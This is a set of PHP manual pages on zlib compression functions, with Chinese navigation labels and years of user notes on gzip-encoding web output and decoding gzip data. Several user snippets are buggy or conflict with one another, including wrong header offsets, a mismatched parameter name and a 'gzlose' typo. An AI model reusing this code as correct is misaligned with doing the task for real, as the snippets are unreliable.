monte at ispi dot net
19-Apr-2001 09:02
An alternate way to handle gzip compression is to let the mod_gzip module of apache handle it. This seems to contradict the tutorial on phpbuilder.com saying that it won't compress php (or any dynamic) output, but mod_gzip as of version 1.3.17.1a works well for me.

Here is an example of an httpd.conf setup:

<IfModule mod_gzip.c>
mod_gzip_on                Yes
mod_gzip_dechunk            Yes
mod_gzip_minimum_file_size  300
mod_gzip_maximum_file_size  0
mod_gzip_maximum_inmem_size 100000
mod_gzip_keep_workfiles    No
mod_gzip_temp_dir          /tmp
mod_gzip_item_include      file \.html$
mod_gzip_item_include      file \.jsp$
mod_gzip_item_include      file \.php$
mod_gzip_item_include      file \.pl$
mod_gzip_item_include      mime ^text/.*
mod_gzip_item_include      mime ^application/x-httpd-php
mod_gzip_item_include      mime ^httpd/unix-directory$
mod_gzip_item_include      handler ^perl-script$
mod_gzip_item_include      handler ^server-status$
mod_gzip_item_include      handler ^server-info$
mod_gzip_item_exclude      mime ^image/.*
</IfModule>

This will automatically compress all output of your files with the .php extention or the x-httpd-php mime type. Be sure to have dechunk set to Yes.
add a note add a note

后退 | 起点 | 前进
zip_read | 上一级 | gzclose


gzclose

(PHP 3, PHP 4, PHP 5)

gzclose -- Close an open gz-file pointer

说明

bool gzclose ( resource zp )

Closes the given gz-file pointer.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. gzclose() example

<?php
$gz = gzopen('somefile.gz','w9');
gzputs ($gz, 'I was added to somefile.gz');
gzclose($gz);
?>

参见

gzopen()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Zlib Compression Functions | 上一级 | gzcompress


gzcompress

(PHP 4 >= 4.0.1, PHP 5)

gzcompress -- Compress a string

说明

string gzcompress ( string data [, int level] )

This function compress the given string using the ZLIB data format.

For details on the ZLIB compression algorithm see the document "ZLIB Compressed Data Format Specification version 3.3" (RFC 1950).

注: This is not the same as gzip compression, which includes some header data. See gzencode() for gzip compression.

参数

data

The data to compress.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression.

返回值

The compressed string or FALSE if an error occurred.

范例

例子 1. gzcompress() example

<?php
$compressed = gzcompress('Compress me', 9);
echo $compressed;
?>

参见

gzdeflate()
gzinflate()
gzuncompress()
gzencode()

add a note add a note User Contributed Notes
prgTW at poczta dot onet dot pl
16-Feb-2006 09:57
I don't know why, but W3C Validator can't validate pages that are GZIP compressed (with functions posted below: gzcompress, pack etc.; not by ob_gzhandler).

Because of this, I use similar code to this below:

<?php
if( strstr($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator')!==false || strstr($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===false ){
  // do not compress
}else{
  // can send GZIP compressed data
}
?>

This code also checks if user agent is W3C Validator. If it is NOT W3C Validator and user acceptes GZIP encoded data then we can compress the page, in other case if it is W3C Validator or user agent does not accept GZIP enoded data we can't compress the page, 'cause user agent couldn't properly handle it.

Sorry for my bad English
Chris Watt
12-Oct-2005 09:26
Contrary to popular opinion the checksum in the last four bytes of output is not "wrong", it's just not very useful: RFC 1950 s8.2 specifies that the "Adler-32" checksum, not CRC32 should be appended to the compressed data and PHP function follows the RFC (if for no other reason because it uses zlib and Mark Adler was one of the authors thereof). In contrast gzip expects a CRC32 (i.e. it doesn't follow that RFC), and treats the Adler-32 checksum as an incorrect CRC32.

AFAICT there is no simple way to compute the CRC32 directly from the Adler32 checksum.

Personally, my solution was to write a short C program that performs a deflate on, and calculates the CRC32 of, stdin while writing the compressed data (with trailing CRC32 instead of Adler32) on stdout. It's an ugly hack, but it does allow me to  serve a ~1GB compressed output with only a single pass over the uncompressed data and without hitting my 8MB memory limit. In contrast, methods using gzcompress() and crc32() would seem to require a theoretical minimum of three passes across the input data (read into memory, compress, calculate CRC) and 2GB of allocated memory to produce a 1GB compressed output... Short of writing crc32() and deflate() functions from scratch, I couldn't find any way of doing this without either storing the whole output in a variable or resorting to a module in another language.
14-Jun-2005 10:39
If no parameter is given, the default level of 6 is used.

benchmarking the speed:
(compression, datasize, compress time)
0: 37440 (0.002 s)
1: 2537 (0.002 s)
2: 2298 (0.003 s)
3: 2199 (0.003 s)
4: 2299 (0.003 s)
5: 1939 (0.004 s)
6: 1789 (0.004 s)
7: 1724 (0.004 s)
8: 1635 (0.005 s)
9: 1635 (0.005 s)

Level 0 = no compression, then level 1-4 are roughly the fastest to compress with reasonable quality. level 5-7 give better compression but take a little longer and 8-9 take nearly double the time to compress but give best results.

So the system default of 6 is actually a good compromise in speed/size. But for very fast compression times, I go with the threshold value of 3.
gaelreth at gmail dot com
03-May-2005 11:27
There is a useful zipfile class at http://www.zend.com/codex.php?id=696&single=1 that allows you to zip many files into one zip file.
ez at daoldskool dot org
07-Mar-2005 11:20
postmaster at ak-dev dot com & chris at mad-teaparty dot com were both wrong : their function seem to generate a valid file but while decompressing it with pure gnu gzip program on a linux machine i always got a ugly
"gunzip: catalog.xml.gz: unexpected end of file" or
"gunzip: catalog.xml.gz: not in gzip format"

so here is the ULTIMATE gz workaround :

function gzip($data = "", $level = 6, $filename = "", $comments = "")
{
   $flags = (empty($comment)? 0 : 16) + (empty($filename)? 0 : 8);
   $mtime = time();

   return (pack("C1C1C1C1VC1C1", 0x1f, 0x8b, 8, $flags, $mtime, 2, 0xFF) .
               (empty($filename) ? "" : $filename . "\0") .
               (empty($comment) ? "" : $comment . "\0") .
               gzdeflate($data, $level) .
               pack("VV", crc32($data), strlen($data)));
}

coming straight out of the PEAR File_Archive package (http://pear.php.net/package/File_Archive)

i redesign it as a single function if u don't want to use the whole PEAR class for your convenience
dwales at easyetrader dot com
31-Jul-2003 03:48
I find this works well, save the snip below in your php/ directory then edit your prepend.php file and add a require statement that requires the compression.php file below. Once complete watch (tail -f) your php error log to see the results of compression in action.

<?php

// Gzip encode the contents of the output buffer.
function compress_output_option($output)
{
   // Compress the data into a new var.
   $compressed_out = gzencode($output);

   // Don't compress any pages less than 1000 bytes
   // as it's not worth the overhead at either side.
   if(strlen($output) >= 1000)
   {
       error_log('compression.php Gzipd Output'."\n"
                 .'Before compression size '
                 .strlen($output).' bytes'."\n"
                 .' After compression size '
                 .strlen($compressed_out).' bytes');
       // Tell the browser the content is compressed with gzip
       header("Content-Encoding: gzip");
       return $compressed_out;
   }
   else
   {
       // No compression
       error_log('compression.php Standard Output.');
       return $output;
   }
}

// Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip'))
{
   // Start output buffering, and register compress_output() (see
   // below)
   ob_start("compress_output_option");

}
?>
devcontact at tech-island dot com
24-Mar-2003 11:45
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mail at ciruz dot de
12-Mar-2003 04:59
You should use the crc coz' some linux browsers need it. Some browser won't display anything without crc. My code works with these browsers (tested ;))
chris at mad-teaparty dot com
27-Feb-2003 02:58
little correction of the one above:
the crc is not necessarily needed to display the content in browsers, but it's still useful as a checksum. I suggest that most of the browsers don't check it anyway, otherwise they would not display contents with broken checksums.
Scripts seem to be a little bit faster, you may weigh up advantages with disadvantages (e.g. when you use a secure connection).
chris at mad-teaparty dot com
26-Feb-2003 07:26
It seems that you don't have to pack the crc-checksum and the length of the string. The crucial thing is to erase the last 4 bytes of the gzcompressed content. They seem to be redundant in any case. I rewrote the function "gzDocOut" and I think, it is the most efficient and shortest way to encode an output with gzcompress:

function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ". $encoding);
       $output = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
       $output .= substr(gzcompress($contents, 2), 0, -4);
       echo $output;
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

}

Tested with IE5.5, Netscape 7, Mozilla 1.2, Opera 7, Opera 6 as well as Netscape 4.7. I'll test further browsers to be sure...
orlink at hotmail dot com
04-Jun-2002 03:32
I tried sending a pre-compressed javascript with header("Content-Encoding: gzip") to a request from <script type=javascript src="http://...?op=getscript">.

I have found out so far that IE4 does not support external compressed scripts and stylesheets (that is not embedded in the HTML but included with <script ...src=...> and <link src=...>).  With other versions of IE it works on some computers and not on others even if they have exactly the same versions of IE and Windows.  For instance IE 5.0xxxxxx and Windows 98 Buldxxxx.
If anyones knows of at least one configuration of IE and a OS for which it works for SURE let me know.
postmaster at ak-dev dot com
03-Jun-2002 07:57
Second try! In my mind, the following source code is right with 4.1.2 and higher, and seems to be right with other versions... and its works with all browser I tried(NS 4.7x, mozilla 1.00rc3, IE5.5, opera6.01)...
As it is said in documentation of the function gzencode, you have to use this function, if you want to get the right result! gzcompress doesn't create the right stream output for browsers!(It is explained in gzencode documentation: generated headers are not the same!)

The source code:

<?
  function checkCanGzip() {

     global $HTTP_ACCEPT_ENCODING;

     if (headers_sent()) return 0;
     if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return
"x-gzip";
     if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return
"gzip";
     return 0;

  }

  function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ".$encoding);
//        print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
       $contents = gzencode($contents);
//        $contents = substr($contents, 0, strlen($contents) - 4);
       print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', strlen($contents)));
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

You have to note, that gzencode is able to generate deflate compression, but the previous source code, does not implemente it. You just have to read gzencode documentation to find this tip.
function gzencode in php 4.2.0 (and higher) allows to use a compression level, it is not possible in loder versions.

The code which is commented, is wrong source code, used, in the different exemple found on this page!
postmaster at ak-dev dot com
02-Jun-2002 10:42
It seems that you don't need anymore to add the crc and the size at the end of the stream, it works fairly with php4.06! I don't have tried for the moment with highest version than php 4.06.
The source code:

<?
  function checkCanGzip() {

     global $HTTP_ACCEPT_ENCODING;

     if (headers_sent()) return 0;
     if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return "x-gzip";
     if (strpos($HTTP_ACCEPT_ENCODING,'gzip') !== false) return "gzip";
     return 0;

  }

  function gzDocOut() {

     if ($encoding = checkCanGzip()) {
       $contents = ob_get_contents();
       ob_end_clean();
       header("Content-Encoding: ".$encoding);
       print("\x1f\x8b\x08\x00\x00\x00\x00\x00");
       $size = strlen($contents);
       $contents = gzcompress($contents, 9);
       $contents = substr($contents, 0, $size);
       print($contents);
//        print(pack('V', crc32($contents)));
//        print(pack('V', $size));
       exit();
     }
     else {
       ob_end_flush();
       exit();
     }

  }

  ob_start();
  ob_implicit_flush(0);

  print("your stuff...");

  gzDocOut();

?>

For the  moment, I have only tried on IE5.5, and it works well.
Effectively, with the crc and the size at the end of gile, it doesn't work!
rostor at swzone dot org
18-Sep-2001 08:04
To solve I.E.5.x data compress problem on IIS5, such opening a download dial box or wrong page load, the only way for me was to change the header content type:

<? header("Content-type: gzip");ob_start ("ob_gzhandler");?>

but now all browser that doesn't support gzip don't load the page.
webmaster at mail.bg
01-Aug-2001 06:40
When you compress your data IE (5.x for sure, no idea about Netscape) may mess up the mime headers, so you may e.g. loose your extensions after compressing output. In my case in attachment saving with no compression everything works fine. When I compress output everything seems OK except I loose the file extension (althogh it really is in the headers). This is because IE seems to think your attachment is mimetype gzip, and not what you send in the headers that follow.

In such cases the easiest sollution would be to disable compression (maybe partially with an .htaccess file?).
gvirgo at mithril dot com
02-Jan-2001 03:14
>>Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support
>>gz-compression. Email me if you want to know more.

As a matter of fact, Netscape 4.7x on Win32 DOES support gz-compression.  Calling the following script in my auto_prepend directive seems to work fine.  The script is taken from the Output Buffering article on Zend.com (http://www.zend.com/zend/art/buffering.php).  As noted in the article, it only works with PHP 4.0.4 and higher.

<?php

       // function to compress the output buffer in preparation for transmission to client
   function compress_output($output) {

           // compress and return the output buffer
       return gzencode($output);
   }

       // Check if the browser supports gzip encoding, HTTP_ACCEPT_ENCODING
   if (strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip')) {

           // Start output buffering, and register compress_output()
       ob_start("compress_output");

           // Tell the browser the content is compressed with gzip
       header("Content-Encoding: gzip");
   }

?>
fil at rezox dot com
20-Dec-2000 10:15
GZ-compression works perfectly for html content sent to IE5/IE5.5/Netscape6 browsers. I even compress the <script src='javascriptstuff'> javascript code. It speeds throughput immensely: best case so far 160k html file --> 8k gzip sent.

Netscape 4 (on all platforms[?]), IE4/IE5 on the Mac do NOT support gz-compression. Email me if you want to know more.
ck at newsclub dot de
28-Sep-2000 03:25
Ah right, I did not realize it because my browsers (Acorn Browse on RISC OS and Netscape on Windows) don't make problems at all.

Anyway, you can replace your function "gzip_PrintFourChars"
with "echo pack("V",$Crc)".
@boas.anthro.mnsu.edu
27-Sep-2000 02:30
No, it doesn't return gzip compressed data -- specifically, the CRC is messed up.  However, after massaging the output a lot, I have come up with a solution.  I also commented it a lot, pointing out odd things.

// Start the output buffer
ob_start();
ob_implicit_flush(0);

// Output stuff here...

// Get the contents of the output buffer
$contents = ob_get_contents();
ob_end_clean();

// Tell the browser that they are going to get gzip data
// Of course, you already checked if they support gzip or x-gzip
// and if they support x-gzip, you'd change the header to say
// x-gzip instead, right?
header("Content-Encoding: gzip");

// Display the header of the gzip file
// Thanks ck@medienkombinat.de!
// Only display this once
echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";

// Figure out the size and CRC of the original for later
$Size = strlen($contents);
$Crc = crc32($contents);

// Compress the data
$contents = gzcompress($contents, 9);

// We can't just output it here, since the CRC is messed up.
// If I try to "echo $contents" at this point, the compressed
// data is sent, but not completely.  There are four bytes at
// the end that are a CRC.  Three are sent.  The last one is
// left in limbo.  Also, if we "echo $contents", then the next
// byte we echo will not be sent to the client.  I am not sure
// if this is a bug in 4.0.2 or not, but the best way to avoid
// this is to put the correct CRC at the end of the compressed
// data.  (The one generated by gzcompress looks WAY wrong.)
// This will stop Opera from crashing, gunzip will work, and
// other browsers won't keep loading indefinately.
//
// Strip off the old CRC (it's there, but it won't be displayed
// all the way -- very odd)
$contents = substr($contents, 0, strlen($contents) - 4);

// Show only the compressed data
echo $contents;

// Output the CRC, then the size of the original
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);

// Done.  You can append further data by gzcompressing
// another string and reworking the CRC and Size stuff for
// it too.  Repeat until done.

function gzip_PrintFourChars($Val)
{
   for ($i = 0; $i < 4; $i ++)
   {
       echo chr($Val % 256);
       $Val = floor($Val / 256);
   }
}
?>
add a note add a note

后退 | 起点 | 前进
gzclose | 上一级 | gzdeflate


gzdeflate

(PHP 4 >= 4.0.4, PHP 5)

gzdeflate -- Deflate a string

说明

string gzdeflate ( string data [, int level] )

This function compress the given string using the DEFLATE data format.

For details on the DEFLATE compression algorithm see the document "DEFLATE Compressed Data Format Specification version 1.3" (RFC 1951).

参数

data

The data to deflate.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

返回值

The deflated string or FALSE if an error occurred.

范例

例子 1. gzdeflate() example

<?php
$compressed = gzdeflate('Compress me', 9);
echo $compressed;
?>

参见

gzinflate()
gzcompress()
gzuncompress()
gzencode()

add a note add a note User Contributed Notes
denis dot noessler at red-at dot de
17-Jun-2003 06:26
if you have compressed data which is greater than 2 MB (system dependent), you will receive a buffer error by calling the function gzinflate().
be sure to to compress your data by a lower compression level, like 1.
i.e.: gzdeflate($sData, 1);
add a note add a note

后退 | 起点 | 前进
gzcompress | 上一级 | gzencode


gzencode

(PHP 4 >= 4.0.4, PHP 5)

gzencode -- Create a gzip compressed string

说明

string gzencode ( string data [, int level [, int encoding_mode]] )

This function returns a compressed version of the input data compatible with the output of the gzip program.

For more information on the GZIP file format, see the document: GZIP file format specification version 4.3 (RFC 1952).

参数

data

The data to encode.

level

The level of compression. Can be given as 0 for no compression up to 9 for maximum compression. If not given, the default compression level will be the default compression level of the zlib library.

encoding_mode

The encoding mode. Can be FORCE_GZIP (the default) or FORCE_DEFLATE.

If you use FORCE_DEFLATE, you get a standard zlib deflated string (inclusive zlib headers) after the gzip file header but without the trailing crc32 checksum.

返回值

The encoded string, or FALSE if an error occurred.

范例

The resulting data contains the appropriate headers and data structure to make a standard .gz file, e.g.:

例子 1. Creating a gzip file

<?php
$data = implode("", file("bigfile.txt"));
$gzdata = gzencode($data, 9);
$fp = fopen("bigfile.txt.gz", "w");
fwrite($fp, $gzdata);
fclose($fp);
?>

更新日志

版本 | 说明
4.2 | level was added. gzencode() only had the data and the optional encoding_mode parameters before.

参见

gzdeflate()
gzinflate()
gzuncompress()
gzcompress()

add a note add a note User Contributed Notes
StoneCypher ( http://sc.tri-bit.com/ )
25-Feb-2005 04:19
The example in the notes would be more obvious written as:

<?php
  file_put_contents( 'output.gz', gzencode( file_get_contents('input.file', 9) ) );
?>
Aaron G.
07-Aug-2004 09:29
<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
   return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
   // Reserved bits are set -- NOT ALLOWED by RFC 1952
   return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl  = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra    = "";
  if ($flags & 4) {
   // 2-byte length prefixed EXTRA data in header
   if ($len - $headerlen - 2 < 8) {
     return false;    // Invalid format
   }
   $extralen = unpack("v",substr($data,8,2));
   $extralen = $extralen[1];
   if ($len - $headerlen - 2 - $extralen < 8) {
     return false;    // Invalid format
   }
   $extra = substr($data,10,$extralen);
   $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
   // C-style string file NAME data in header
   if ($len - $headerlen - 1 < 8) {
     return false;    // Invalid format
   }
   $filenamelen = strpos(substr($data,8+$extralen),chr(0));
   if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
     return false;    // Invalid format
   }
   $filename = substr($data,$headerlen,$filenamelen);
   $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
   // C-style string COMMENT data in header
   if ($len - $headerlen - 1 < 8) {
     return false;    // Invalid format
   }
   $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
   if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
     return false;    // Invalid header format
   }
   $comment = substr($data,$headerlen,$commentlen);
   $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 1) {
   // 2-bytes (lowest order) of CRC32 on header present
   if ($len - $headerlen - 2 < 8) {
     return false;    // Invalid format
   }
   $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
   $headercrc = unpack("v", substr($data,$headerlen,2));
   $headercrc = $headercrc[1];
   if ($headercrc != $calccrc) {
     return false;    // Bad header CRC
   }
   $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
   // This should never happen - IMPLEMENTATION BUG!
   return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
   switch ($method) {
     case 8:
       // Currently the only supported compression method:
       $data = gzinflate($body);
       break;
     default:
       // Unknown compression method
       return false;
   }
  } else {
   // I'm not sure if zero-byte body content is allowed.
   // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //      PHP's integer limitations affect strlen() since $isize
  //      may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
   // Bad format!  Length or CRC doesn't match!
   return false;
  }
  return $data;
}

?>
sjab-x at bergenbosgroep dot nl
26-Dec-2002 10:06
If you want a binary proof function use fread instead of implode.

function create_gzip_file($src_file, $dest_file) {

 $fd = fopen ($src_file, "r");
 $data = fread ($fd, filesize ($src_file));
 fclose ($fd);

 $gz_data = gzencode($data);

 $fp = fopen($dest_file, "w+");
 fwrite($fp, $gz_data);
 fclose($fp);

}

This works fine for me :)
tychay at alumni dot caltech dot edu
03-Apr-2002 06:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch
15-Feb-2002 10:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Pltz
Gre aus Berlin
g dot benoit at free dot fr
12-Feb-2002 09:21
function create_gzip_file($src_file, $dest_file)
{
   $data = implode("", file($src_file));
   $gz_data = gzencode($data);

   $fp = fopen($dest_file, "w+");
   fwrite($fp, $gz_data);
   fclose($fp);
}

create_gzip_file("text.txt", "test.txt.gz");
mm.. oops? - amendum (yes, tested hehe.)
09-Sep-2001 03:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
   $s=gzread($fd,10240);
   if ("$s" == "") {
     break;
   }
   $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m >
09-Sep-2001 02:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!
add a note add a note

后退 | 起点 | 前进
gzdeflate | 上一级 | gzeof


gzeof

(PHP 3, PHP 4, PHP 5)

gzeof -- Test for end-of-file on a gz-file pointer

说明

int gzeof ( resource zp )

Tests the given GZ file pointer for EOF (end-of-file).

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

Returns TRUE if the gz-file pointer is at EOF or an error occurs; otherwise returns FALSE.

范例

例子 1. gzeof() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzencode | 上一级 | gzfile


gzfile

(PHP 3, PHP 4, PHP 5)

gzfile -- Read entire gz-file into an array

说明

array gzfile ( string filename [, int use_include_path] )

This function is identical to readgzfile(), except that it returns the file in an array.

参数

filename

The file name.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

返回值

An array containing the file, one line per cell.

范例

例子 1. gzfile() example

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
    echo $line;
}
?>

参见

readgzfile()
gzopen()

add a note add a note User Contributed Notes
nb_nonospamm_ at wtal dot de
27-Nov-2005 08:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi
28-Jun-2005 09:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
   //File does not exist
   if( !@file_exists($filename) )
   {    return false;    }

   //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de
14-Jan-2004 03:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
   $file = @gzopen($filename, 'rb', $use_include_path);
   if ($file) {
       $data = '';
       while (!gzeof($file)) {
           $data .= gzread($file, 1024);
       }
       gzclose($file);
   }
   return $data;
}
?>
add a note add a note

后退 | 起点 | 前进
gzeof | 上一级 | gzgetc


gzgetc

(PHP 3, PHP 4, PHP 5)

gzgetc -- Get character from gz-file pointer

说明

string gzgetc ( resource zp )

Returns a string containing a single (uncompressed) character read from the given gz-file pointer.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

返回值

The uncompressed character or FALSE on EOF (unlike gzeof()).

范例

例子 1. gzgetc() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

参见

gzopen()
gzgets()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzfile | 上一级 | gzgets


gzgets

(PHP 3, PHP 4, PHP 5)

gzgets -- Get line from file pointer

说明

string gzgets ( resource zp, int length )

Gets a (uncompressed) string of up to length - 1 bytes read from the given file pointer. Reading ends when length - 1 bytes have been read, on a newline, or on EOF (whichever comes first).

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

返回值

The uncompressed string, or FALSE on error.

范例

例子 1. gzgets() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgets($handle, 4096);
   echo $buffer;
}
gzlose($handle);
?>

参见

gzopen()
gzgetc()
gzwrite()

add a note add a note User Contributed Notes
05-Aug-2005 02:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com
10-Aug-2002 08:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
   $buff1 = gzgets ($zp, 4096) ;
   fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>
add a note add a note

后退 | 起点 | 前进
gzgetc | 上一级 | gzgetss


gzgetss

(PHP 3, PHP 4, PHP 5)

gzgetss -- Get line from gz-file pointer and strip HTML tags

说明

string gzgetss ( resource zp, int length [, string allowable_tags] )

Identical to gzgets(), except that gzgetss() attempts to strip any HTML and PHP tags from the text it reads.

参数

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

allowable_tags

You can use this optional parameter to specify tags which should not be stripped.

返回值

The uncompressed and striped string, or FALSE on error.

更新日志

版本 | 说明
3.0.13 and 4.0b3 | allowable_tags was added.

范例

例子 1. gzgetss() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgetss($handle, 4096);
   echo $buffer;
}
gzlose($handle);
?>

参见

gzopen()
gzgets()
strip_tags()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
gzgets | 上一级 | gzinflate


gzinflate

(PHP 4 >= 4.0.4, PHP 5)

gzinflate -- Inflate a deflated string

说明

string gzinflate ( string data [, int length] )

This function inflate a deflated string.

参数

data

The data compressed by gzdeflate().

length

The maximum length of data to decode.

返回值

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

范例

例子 1. gzinflate() example

<?php
$compressed   = gzdeflate('Compress me', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

参见

gzdeflate()
gzcompress()
gzuncompress()
gzencode()

add a note add a note User Contributed Notes
boris at gamate dot com
08-Jul-2003 08:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

$dec = gzinflate(substr($enc,10));
add a note add a note

后退 | 起点 | 前进
